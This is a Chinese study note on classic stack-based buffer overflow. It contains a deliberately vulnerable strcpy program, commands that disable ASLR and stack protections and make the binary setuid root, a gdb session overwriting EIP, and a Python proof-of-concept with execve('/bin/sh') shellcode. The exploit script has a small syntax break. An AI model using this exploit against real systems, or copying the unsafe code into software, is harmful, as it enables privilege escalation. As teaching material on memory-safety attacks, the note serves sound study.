PWN学习笔记2--堆栈的缓冲区溢出

缓冲区溢出

缓冲区溢出有两种类型:

  1. 基于栈的缓冲区溢出
  2. 基于堆的缓冲区溢出

缓冲区溢出可导致任意代码执行!
任意代码执行允许攻击者执行其代码以获取受害者机器的控制权,获取shell,添加新用户,打开端口等……

栈溢出示例

易受攻击的代码

1
2
3
4
5
6
7
8
9
10
//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

gcc编译

1
2
3
4
5
6
7
#关闭ASLR(地址空间布局随机化)
sudo echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
#添加执行权限
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

从上述代码可以看出,第[2]行代码存在缓冲区溢出,可导致任意代码执行。

反编译

使用gdb编译

测试

当输入大小超过256时会溢出缓冲区并覆盖栈中的返回地址。通过输入“A” 268 + “B” 4测试。

1
2
3
4
5
6
7
8
9
10
11
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

输出显示寄存器eip被“BBBB”覆盖。

  • 0x8 is alignment space
  • 0x4 is caller’s EBP
    268=256+8+4

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
return struct.pack("<I",num

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

英文原文

Classic Stack Based Buffer Overflow

-------------本文结束感谢您的阅读-------------